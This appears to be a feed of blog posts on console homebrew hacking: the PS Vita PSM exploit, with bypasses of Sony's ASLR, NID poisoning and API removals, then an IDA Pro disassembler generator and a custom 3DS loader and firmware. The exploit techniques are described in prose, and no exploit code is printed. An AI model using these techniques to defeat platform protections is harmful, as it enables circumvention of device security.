This problem was solved on the PSP by Half Byte Loader which cleans up the userspace memory, then loads the homebrew ELFs into the clean memory space, and finally links the API imports by locating them dynamically. This is basically what UVLoader does for the Vita. You, the developer, write C/C++ code, using the same APIs as real registered Vita developers do. Then, using an open SDK, compile that code to the same executable format that the official SDK produces (in theory SDK produced files [not published games], if unencrypted, could also run with UVLoader because the format is the same, but obviously, we don’t have access plus it would likely be illegal if we did). UVLoader takes that file, parses the ELF format, loads the homebrew into memory, and finds the API/syscalls in memory and “attaches” them to your homebrew. Now, for official developers, this is all done by the system loader. We don’t have access to it since the loader is in the kernel. UVLoader is developed after analyzing the format of the PSM executable loaded in memory. The PSM ELF file itself is encrypted, but artifacts of the ELF can be found in memory. Since the system loader is what we’re trying to simulate, we can take a look at the memory dumps to see how things are tied together, what offsets means what, and so on.

Addendum: Aftermath of the PSM Exploit

From Vita SDK specifications, credit to xerpi

From Vita SDK specifications, credit to xerpi

Okay, let’s come back to June 2015. Many things have happened since September 2012; and they are mostly security strengthening of the Vita by Sony. When I first released the source code to UVLoader, I thought that would bring a renaissance of Vita hacking as developers worked on an open SDK and homebrew while hackers continue to find more and more exploits to load UVLoader (like on the PSP). Unfortunately, that was not the case. The scene was mostly quiet with the occasional mummer of some glitch that someone found. Nobody was able to get code execution since the PSM hack and nobody worked on the open SDK until I published a specification for the SCE ELF format a month ago. However, Sony kept busy after analyzing the UVLoader source to make the Vita more secure than before. The only silver lining was that they never discovered the “exploit” (if you can call it that) even after many security patches (Sony is required by LGPL to release the source code of all their PSM DevAssistant updates).

Counterattack 1: Stricter Usage of Executable Memory Syscalls

The key to executing code with the PSM hack is through the special syscalls that only PSM has access to. These syscalls allow PSM to allocate executable memory and write to it. The way these syscall works is that you must “unlock” the memory domain before writing to it and “lock” it afterwards. In the 2.00 firmware, certain system functions check to make sure the executable memory domain is locked or it kills the running app. This means if you leave the domain unlocked (as the first version of UVLoader did), it kills PSM. My guess is that Sony originally thought the exploit was that some function forgot to lock the memory domain and we were overwriting JIT code. This was easily bypassed by adding the relevant lock calls to UVLoader. I guess my laziness was misinterpreted by Sony as cleverness.

Counterattack 2: Removing “Dangerous” Methods from Mono’s Marshal

Sony likely did an (several?) internal security audit of Mono because with each release, more security “fixes” were added (mostly potential use-after-frees and potential null dereferences). By 0.99.20 (DevAssistant 1.03), Sony removed a function needed by VitaInjector. Marshal.GetDelegateForFunctionPointer takes in an arbitrary memory address and allows managed C# code to jump to it. Of course, this method is security critical and had to be called from our exploit, but it was the way we were able to call arbitrary native code. At this point, because of the months of studying Mono, I was pretty familiar with CIL (the bytecode format for C#). There is a bytecode instruction “calli” which provides the functionality of Marshal.GetDelegateForFunctionPointer. This instruction, as far as I know, is not used elsewhere in Mono’s runtime library so it is likely overlooked by Sony’s auditors. “calli” can only be used by security critical functions in the CoreCLR security model, so we just embed it into our own DLL and call it with the PSM exploit.

Counterattack 3: Address Space Layout Randomization

Because VitaInjector and UVLoader depended on functions in memory (including the executable memory allocation syscall), Sony decided to randomize the memory layout on PSM DevAssistant 1.08. This, along with the next counterattack placed VitaInjection development on hiatus for a year (before it was reincarnated as VitaDefiler). The way around it is simple in theory but a lot of painstaking work in practice. To bypass ASLR, we find the address of a known function in memory using C# managed code (for example Environment.Exit) since Mono knows the memory addresses of internal calls and we can obtain it with the PSM hack. Then using offsets found previously in a memory dump, we can locate all the necessary functions for the loader to run. This was a lot of work because it all has to be encoded as Mono debugger commands, which there is no documentation for.

Counterattack 4: NID Poisoning

The way UVLoader links homebrew API calls is by finding the same API call from loaded libraries in memory and using that information to locate the right syscalls and function addresses. On the Vita, there are no string “symbols” found in traditional ELFs. Instead, it uses four byte integers that serves as a hash of the function name to import. In Vita firmware 2.06, Sony replaced the NID import tables for syscalls of all loaded libraries to be random integers (and since 3.x, this extends to import tables for function calls). I called this “NID poisoning” because it makes the import tables useless and we can no longer locate syscalls. One way around this is to “cache” the NIDs within UVLoader. However, as libraries change from firmware version, the NID order changes too and because of the number of libraries that can be loaded, it would make UVLoader way too bulky. UVLoader 1.0 now does use this technique to some extent. It only caches one library’s imports, SceLibKernel, which is required to run the loader itself. Then, when linking homebrew ELFs, UVLoader can use a technique discovered by Proxima and me which I named “NID antidote” (for obvious reasons). Libraries can be lazy-loaded, which means the library will be loaded in memory but not linked (and therefore the import NID table is not poisoned yet). Then, when the application decides it needs to use this shared library, it will make another syscall to “start” the library, which then performs the linking and NID poisoning. Every library can be loaded multiple times too, so what we do is look for the libraries already started, then load them again (but without starting them). The already started library have the API calls resolved but the NID poisoned. The newly loaded library have the API calls unresolved but the NID unpoisoned. We just mash the two tables together and have all the information we need for UVLoader.

More Details

For those who thirst for more details about how the exploit works, I encourage you to take a look at the source for VitaDefiler’s USB.cs. I have to apologize for the terrible code quality as most of it was written burning the midnight oil and when “Thread.Sleep(1500)” made something work, I kept it in. StartDump is how to dump memory using the PSM exploit. DefeatASLR shows how to obtain pointers to important functions, defeating ASLR. EscalatePrivilege patches Mono to make every loaded image have runtime library permissions.


On the future of Rejuvenate

$
0
0

Since, the announcement ten days ago, Rejuvenate received tons of positive reception and thousands of downloads. Progress on both SDK projects is moving at fast speeds. There are already Vita homebrew projects in the works. No doubt, there are more to come. However, Sony’s response has not been positive. Yesterday, Sony released firmware 3.52 which revokes access to PSM DevAssistant and PSM Unity DevAssistant along with a friendly request for PSM developers to delete the DevAssistant from their devices. This means that if you ever want to run homebrew on your Vita, regardless of your opinions on the current limitations and regardless of your ability to use PSM, do NOT update to 3.52.

CHIP-8 emulator by @xerpi, picture by @Chihab_rm

CHIP-8 emulator by @xerpi, picture by @Chihab_rm

PSM+

When I first announced the Rejuvenate hack, I promised a solution for people who do not have a publisher license (and therefore cannot generate keys needed to run the hack) which I dubbed PSM+. PSM+ requires the use of the filesystem writing trick discovered by mr.gas and Major_Tom and also requires materials to be hosted on a server. Therefore, I gave mr.gas, Major_Tom, and wololo the prerogative to release PSM+ at a time they deem fit. Please follow wololo.net for the release schedule. They will post instructions and provide support for PSM+ when the time comes.

Credits to egarrote from elotrolado.net for the logo!

Credits to egarrote from elotrolado.net for the logo!

Rejuvenate

If you remember the original announcement, the hack came with quite a few limitations that made it less useful for the general audience. I have been working hard to try to address some of these issues, and I think I found a temporary solution to a few of them. I have confirmed earlier today that PlayStation®Mobile Development Assistant for Unity contains the same bug as the regular PSM DevAssistant application. That means it can be exploited to run UVLoader too. The Unity app is also a better solution for running homebrew.

  • It runs the debugger over Wifi, so after the initial setup over USB, it is possible (for example) to launch homebrew with a custom app on your smartphone, which is a step forward from being tethered to a computer.
  • For the same reason as above, the VitaTV can be supported. The only requirement is installing the files either with the same filesystem writing trick as PSM+ (which can be a hassle) or swapping the memory card into a PS Vita to install over USB (which can also be a hassle). Installation only needs to be done once though.
  • The application is DRM free which means that you can install it with the Package Installer or through a PS3 without needing any license. This means that even if you did not register for PSM and even if Sony removes the app from PSN, you can still install PSM for Unity.

Again, all of this will only be for those who are on firmware 3.51 and below! Do NOT update past 3.51 if you ever want a chance of running homebrew on your PS Vita or VitaTV.

It will be a bit of work to port VitaDefiler over to the Unity DevAssistant app. I have already started a branch of VitaDefiler that can connect to Unity DevAssistant and its debugger. However, more work is needed to work out the kinks in the debugger connection as well as finding the offsets to get UVLoader working. I will likely be busy with other things so I will not have time to work on PSM stuff for the next couple of months. However, I hope that someone else can pick up the source code and finish what I have started. I’m looking forward to seeing all the wonderful homebrew you guys make!

Rejuvenate for Unity (and VitaTV support)

$
0
0

Thanks to work done almost entirely by Netrix (and also thanks to SMOKE for testing and modifications to the setup script), Rejuvenate is now supported on both PSM Unity and PSM Unity for VitaTV.

As always, you can find downloads to the latest version here as well as the source for VitaDefiler and UVLoader on GitHub.

Installation

Just like before, run SETUP.bat and follow the directions. If you are using PSM+, be sure to follow the directions where you get PSM+. To use on VitaTV, install the client on your Vita and then move the memory card to the VitaTV. I hear that mr.gas will release a method for client installation that does not require a Vita to install. Follow him on Twitter for details on that when the time comes.

Support

Support will be provided in #vitadev on EFNet IRC. Netrix, who is responsible for the Unity port will be on there.

Enjoy and happy homebrewing!

CGEN for IDA Pro

$
0
0

It all started when I wanted to analyze some MeP code. Usually, I do all my disassembly in IDA Pro, but this is one of the few processors that isn’t supported by IDA. Luckily, there is objdump for this obscure architecture. After fumbling around for a bit, I was convinced that porting the disassembler to IDA would be a much better use of my time than manually drawing arrows and annotating the objdump output.

Process

Turns out, there isn’t too many resources online on writing IDA processor modules. The readme of the SDK was minimal (it tells you to read the sample code and the header files) and refers to two documents: an online guide that is now gone and The IDA Pro Book by Chris Eagle. Opening the book to the chapter on writing processor modules, you’re greeted with a dire warning to turn back (along with a note about the lack of documentation) as many have tried and failed.

One of the reasons why writing a processor module is so challenging is that the processor_t struct contains 56 fields that must be initialized, and 26 of those fields are function pointers, while 1 of the fields is a pointer to an array of one or more struct pointers that each point to a different type of struct (asm_t) that contains 59 fields requiring initialization. Easy enough, right?

Chris Eagle, The IDA Book 2nd Edition

Well, I’m not easily discouraged, so I read on and familiarized myself with the process of creating a processor module. I’m not going to describe the process here in detail because Chris does a great job in the book, but I’ll give a brief outline

IDA Processor Module

There are four components of a processor module. The “analyzer” parses the raw bits of the machine code and generates the information about an instruction. The “emulator” uses that information to help IDA with further analysis. For example, if an instruction references data, your module can tell IDA to look for data at that address. If the instruction performs a function call, your module can tell IDA to create a function there. Contrary to its name, it does not actually “emulate” the instruction set. The “outputter” does just that: given the data generated from the analyzer, it prints out the disassembly to the user. Finally, there’s the architectural information, which is not a component mentioned elsewhere but I consider it one. This is not code, but static structures that tell IDA information such as the names of the registers, the mnemonic of the instructions, alignments and so on.

CGEN

The binutils (objdump) for MeP are machine generated by CGEN. CGEN attempts to abstract away the task of writing CPU tools (assemblers, disassemblers, simulators, etc) into writing CPU definitions. The definitions describe the CPU (including the hardware elements, the instruction sets, operands, etc) with the Scheme language. CGEN takes the definition and outputs C/C++ code for all the needed CPU tools. Originally I wanted to avoid CGEN and just wrap the (generated) binutils code to an IDA module (à la Hexagon). In theory, your module does not have to follow the convention laid out above. You can make the analyzer record the raw bits, the emulator do nothing, and the outputter use binutils to generate a complete line and print it out. However, in doing so, you essentially lose most of the power of IDA (finding xrefs, stack variables, etc). It would also be a shame to not use all the information given to us by the CGEN CPU definitions. These definitions (in theory) are strong enough to generate RTL code to implement the processor, so we would like to give as much of this information to IDA as possible.

CGEN Generators

The generators themselves (CGEN docs refer to them as “applications”) are also written in Scheme, in the Guile dialect. I have never written a line of functional code before, so it took me a day to understand the relatively small codebase. CGEN has its own object system that they call COS. Everything defined in the CPU descriptions becomes objects, and each generator gives these objects methods to print themselves out. For example: the simulator might give the operand object a “generate code to get value” method. Then a call to generate the semantics of an instruction into C code would use these objects’ methods. Like a true software engineer, I cut out functions from the generators for the simulator, disassembler, and architecture description and stitched them together with my own code to generate various components of an IDA module.

The analyzer used, as its base, the simulator instruction decode generator. I had to modify CGEN to record the order of operands as specified by the instruction syntax (the only modification to CGEN itself, everything else are additions). Then, I overwrote the simulator’s method definitions for extracting the operands from the instruction with code to populate the “cmd” structure in IDA (which requires the operands to be ordered).

The emulator used the simulator model generator as its base and was the most difficult to write (in terms of code complexity). The one major issue here is that while the generated simulator expects code to run in order and have state information stored, the IDA emulator does not store state information and IDA does not guarantee that your emulator will be called in the order that the instructions appear. That means we cannot make any assumptions about the state and our emulator can only make decisions based on the instruction alone. Because we only care about finding data and code references with the emulator, we can make the following simplifications:

  • Any conditionals will have the condition stripped out and all paths will be taken
  • Using any values from registers will stop the emulator and return immediately
  • Setting any values to registers will evaluate the value but discard the result

The first point allows for xrefs to be found regardless of the condition. A conditional branch, for example, will allow for a code xref to be generated. The second point is there because we do not know the state, so any dependencies on a register value that’s not already stripped out will make finding a xref difficult. In theory, we can still find offset xrefs this way, but we would have to know that only additions/subtractions are used and only a single register is used and that adds a lot of complexity. The third point allows memory reads to be captured. With those simplifications in place, we know that any memory reads/writes and any PC reads/writes that are found without knowing the state can be turned into xrefs.

The outputter used the syntax parser (binutils’ opcode builder) as its base. It reads the instruction definition in order to output the right orderings of parenthesis, commas, and so on. I just replaced the generate print methods of the hardware objects to generate calls to IDA output functions.

Results

MeP executable loaded and recognized by IDA Pro

MeP executable loaded and recognized by IDA Pro. All the blue is a result of the auto-analysis.

At the most basic level, the generated modules outputs what you would expect from objdump. The analyzer will find the right type for the operands (if possible). The emulator tries to find all constant addresses and adds xrefs to them (code and data). The outputter will print all instructions correctly, and the operands with the right type/size/name if needed.

The main thing it doesn’t do right now is keeping track of the stack pointer. It also does not identify if branches are jumps or calls (requiring CF_CALL flag). It does not identify if an instruction does not continue flow (requiring the CF_STOP flag) (it’s actually trivial to add this, but harder to add it without introducing emulator code to other generators. Since it’s easy to identify the instructions by hand, I decided to leave it out).

Usage

Once you generate the IDA module components, you still need to manually write the processor_t structure, the notify() function (optional), and implement and special print functions (as defined by the CPU definition). Then you can copy the CGEN headers from binutils and compile it with the IDA SDK. Take a look at the MeP module as an example. You can reuse most of the non-generated code as-is (just change some strings and constants). If you run into any issues, feel free to contact me. I haven’t tested this on anything other than MeP because of laziness but I hope the code works more generally.

Downloads

The CGEN code is here and the Toshiba MeP module is here. The MeP module has basic stack tracking and call recognition added manually. When I have the time, I’ll port the rest of the CGEN supported modules that IDA does not support over.

3DS Code Injection through “Loader”

$
0
0

I’ve seen many CFWs (custom firmware; actually they’re just modified firmwares) for the 3DS but there seems to be a lack of organization and design in most of them. I believe that without a proper framework for patching the system, writing mods for the 3DS is extremely difficult and usually requires an in depth knowledge of the system even to make simple modifications. So here I present a plan that I hope developers will pick up on and contribute to.

3DS System Firmware: An Introduction 

The 3DS has a microkernel architecture. This means most functionalities are implemented as modules (running as separate processes) and IPC is used by modules to talk to one another. The kernel has limited functionality (basic memory management, threading and synchronization, and access to IO memory) and these basic functions are exposed to modules (where the main work is done). All modules run in userland, but the security is not equal. There are three categories of modules: system, applets, and applications. (This is not an official categorization, as different modules have permission settings based on service-call access, access to other modules, memory space, and so on. However, you can basically group modules by these security properties into these three groups.) System modules do the backend work: installing content, TLS stack, communication with Nintendo’s servers, etc. Applets are system software the user “sees”: home menu, notifications, Nintendo ID login, keyboard, etc. Applications are the rest: settings app, camera app, games, etc.

The reason why it’s hard to write patches or mods for the Nintendo 3DS is because of this modularization of the system. When we take control of the kernel, patching system features is not as simple as finding the right address in memory and overwriting it. Because everything is in different processes (and each have their own virtual memory space), you either have to recognize the kernel layout and parse kernel objects and map the right memory addresses to patch (NTR does this) or you have to stupidly scan all of physical memory (slow and high risk of false positives) for the right thing to patch. There’s additional complications if you’re using a hack that reboots the firmware or requires patching a process that’s currently not running: you have to know when the process launches and modify the code when it does. It is possible to insert hooks when you first gain control in order to run code when processes are launched. However, most of the CFWs out there does something insanely non-practical: it busy-loops in a separate thread and scans all of physical memory for the right thing to patch… ad infinitum.

So we want to do the following

  • Patch code for any module (system, applet, or application) we want easily
  • Ideally we can insert the hook early in the boot process so we can patch most modules BEFORE they start (an example would be to change the region of the system: once the CFG module is loaded, every other module gets the region information from CFG; so we can either patch CFG or patch every other module that uses it)
  • Everything should be fast and use minimal resources (linear scan of physical memory is NOT okay)
  • Ideally the code should not be overly dependent on offsets–you should not have to compile the code separately for each firmware version

3ds-bootLuckily there is a place in the boot-chain we can patch that does just that. The “loader” module is in charge of parsing the CXI executable format and loading the code into memory. That means that if we change “loader” to patch the code after it is read from the CXI file (and decompressed) but before it signals to the kernel to run (schedule) it, we can patch most modules in the system. The kernel bootstraps the five main modules: fs (file IO), loader (CXI loader), pm (process manager), sm (IPC), and pxi (talks to security processor) and then pm uses loader to start the rest of the modules. Other modules can start processes using pm, which in turn uses loader.

So loader is a good place to start if we want flexibility in patching the system and it fits the bill for what we require in loading patches, but there are some complications. First, the loader module does not have permission to access the SD card (where we want to use to store patches). Second, and more importantly, the code to read and parse patches from the SD card and run them when a process is being loaded seems like a good amount of code. If we wish to insert it into the loader module, we might have to move stuff around–a big pain with object code. So we need a better plan than just hijacking “loader.”

[2016/01/19 04:15:01] <shinyquag> You could probably code your own “loader”, I’d wager it’s probably doable

Shinyquag would have won the wager because, luckily, loader is also the smallest module on the system. It has a couple of commands and no complicated logic. It’s small enough (20KB) to completely reverse in a day. Once we rewrite the module, adding functionality is a trivial matter. In fact, since Nintendo uses a lot of boilerplate code so our loader implementation would actually be even more lean. Finally, since this module has not changed much since 2.x, we can likely use it on future firmwares without much changes. However, just because it is doable, does not mean it will be easy…

Debugging without a Debugger

First I reversed the module and rewrote it in C. Then it got difficult. Since this was the first time anyone tried to build a sysmodule with the homebrew development environment, I had to make changes to many parts of the toolchain. Then there’s the problem of testing: we’re replacing a key component of the system very early in the boot process. There’s no iterative development since we cannot isolate the module without ending up rewriting the entire operating system. So, I just wrote the entire module in one sitting and hoped for the best. Unfortunately the best is a black screen and we don’t have access to anything like gdb or even “printf”. The only output we have is that the console boots or it does not boot. After re-reading my code over and over again and fixing bugs each time until I can’t spot anything else obvious, I’ve discovered, thanks to #3dsdev, that prayer was not the only means of debugging this.

Enter XDS, the 3DS emulator we all forgot about. ichfly managed to get it to boot the 3DS home menu a while ago, but development has since ceased (likely because of other more promising emulators in the works). There’s one thing XDS does that the other 3DS emulators does not do is that XDS fully emulates the 5 sysmodules bootstrapped by the kernel (the other guys use HLE). This is perfect because we only need to run “loader” in the boot process and let it interact with the other bootstrapped modules until enough modules are loaded by “loader” that we can consider it working. After porting XDS to OSX, I was able to make use of the generous debug logs (comparing the IPC requests/responses from my loader with stock) to find the final bugs in my loader and get it to boot on the 3DS.

Our loader can now correctly duplicate the functionality of the original but ultimately, we wish to add more features. The most important one is SD card reading. The way that access permissions work is that each module specifies in its CXI header what filesystem devices it has access to. However, in the case of bootstrapped modules, the access fields are ignored. So in order to get “loader” the right permissions to read the SD card, it is not enough to modify the CXI headers. We need to talk with the “fs” module and request the permissions directly (this is what “pm” does with other modules after loader puts the code into memory). This involves reversing enough of the “fs” module to figure out how the permissions are stored and then making the right requests to “fs” to give “loader” those permissions. Since XDS does not emulate the SD card, I had to find a different avenue to test my code. What I decided to do was modify the URL to the Themes Store in the Home Menu to point to my server + the return value of the file IO calls. Then I would load up the Themes Store to find the return value and look through my reversed object code to see what caused the error. This worked well because I did not want to add more code (e.g: framebuffer or networking) just for debugging. (Who debugs the debugger?) With SD card access, future debugging is much easier because we can just write logs to the SD card.

Loader Based CFWs

I believe that using a custom “loader” will make it much easier to write mods for the 3DS. We could see hacks such as a “Homebrew” button in the Home Menu or custom keyboards or custom themes outside of what Nintendo officially supports. We might also see hacks for games similar to HANS but without requiring access to a dump of the game. I hope 3DS developers will pick up on this and make cool mods and hacks for the system.

The code can be found here. Developers should modify patcher.c and replace it with their own implementation.

Cosmo3DS: The CFW nobody wanted

$
0
0

In the last article, I talked about my plan for creating 3DS mods. Now, I will put that plan to the test with a CFW (modified firmware) that nobody wants except me.

The idea for this CFW is that I want

  • Keep my 3DS on the hackable 9.2 firmware but still use the latest system software (emuNAND)
  • Play games region free right from the home menu
  • Change the system region without possibly bricking the device
  • Use the eShop with region changed systems

and only those things. Specifically, I don’t want to patch signatures that allow for installing pirated content (personal choice, I don’t care what you do). I don’t want threads running in the background to support fancy features such as replacing version strings or taking screenshots or in-game menus. So I created my own CFW in two components: a stripped down version of ReiNAND where everything except emuNAND is removed and an implementation of my custom loader which does all the patches. No threads. No glut.

I understand that I’m the only one who needs such a CFW and most people can make do with one of the ones out there. This is mostly written just for my own use and for me to test out my idea of patching the system. However, I’m happy that my N3DS is now a cosmopolitan.

If you want to use it, you need the CFW as well as the custom loader. Then, the important part is injecting the custom loader into the right FIRM file. (If you search for “reinand 3.1 firmware.bin pastebin” you should be able to find it)

Viewing all 77 articles
Browse latest View live